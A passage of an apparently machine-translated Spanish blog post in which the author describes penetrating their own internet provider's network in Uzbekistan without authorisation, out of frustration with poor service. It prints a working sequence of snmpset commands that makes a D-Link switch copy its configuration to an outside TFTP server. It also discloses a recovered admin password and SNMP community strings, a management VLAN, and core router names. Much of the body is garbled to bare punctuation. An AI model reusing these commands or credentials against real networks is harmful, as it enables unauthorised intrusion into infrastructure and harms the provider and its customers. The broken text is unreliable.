Prueba de penetración de la red de un proveedor o por qué no debe confiar sus datos a proveedores en Uzbekistán

Fondo

Hace apenas unos meses, la Internet doméstica comenzó a funcionar, se podría decir, terriblemente. Esto sucedía solo por las tardes: justo en el momento en que el proveedor no contaba con un especialista que pudiera hacer un viaje y lidiar con este molesto problema. Las cartas y aplicaciones, por extraño que parezca, no dieron ningún resultado. Según el proveedor, un especialista puede venir durante el día, pero ¿qué pasa conmigo durante el día si Internet no funciona por la noche? Entonces, para pasar el tiempo esperando una solución al problema, decidí investigar un poco en términos de seguridad en la red de mi proveedor. Si te estás preguntando qué pasó con esto, bienvenido a cat.





PT0.1ENUM

Decidí comenzar a escanear desde la subred 10.3XX0 / 24, porque brillaba varias veces al rastrear la ruta de los paquetes desde la LAN a la red global





80- . , , 161 - SNMP, . , public private community string , , .





PT1.1Gath

SNMP , DGS-3620-28SC - , , 20- SFP, 4 - 100/1000Base-T/SFP 4 10GBase-X SFP+. private community , snmpset.





snmpset -v2c -c $COMMUNITY $IP 1.3.6.1.4.1.171.12.1.2.18.1.1.3.3 a $TFTP_SERVER_IPP
snmpset -v2c -c $COMMUNITY $IP 1.3.6.1.4.1.171.12.1.2.18.1.1.5.3 s $FILE_NAME.cfg
snmpset -v2c -c $COMMUNITY $IP 1.3.6.1.4.1.171.12.1.2.18.1.1.7.3 s config.cfg
snmpset -v2c -c $COMMUNITY $IP 1.3.6.1.4.1.171.12.1.2.18.1.1.8.3 i 2
snmpset -v2c -c $COMMUNITY $IP 1.3.6.1.4.1.171.12.1.2.18.1.1.12.3 i 3
      
      



, j admin vfrtgb45switch( ), community strings vfrtgb45switch vfrtgb45switchrw . , , The Dude . , - MNGT vlan 4002 172.2X.X.0/15.





, mngt vlan - . , ARISTA-100G-CityPlace1 ARISTA-100GCityPlace2. , 50 L3 ( ), TCPDUMP .





PT2.1

, , ( , community string ), . : , . , , , . , , *** . , , . , , , . , . , " ". -, . , , "Turon Telecom" , . .





PT3.1 IT

, . , , , . : HTTP, SMTP . , IP DNS . , - . , - . , , .





PT4.1 Esperando reacción

Ahora he terminado mi artículo y estoy esperando la reacción de las personas que lo leerán o la reacción del propio proveedor. Gracias por la atención.








All Articles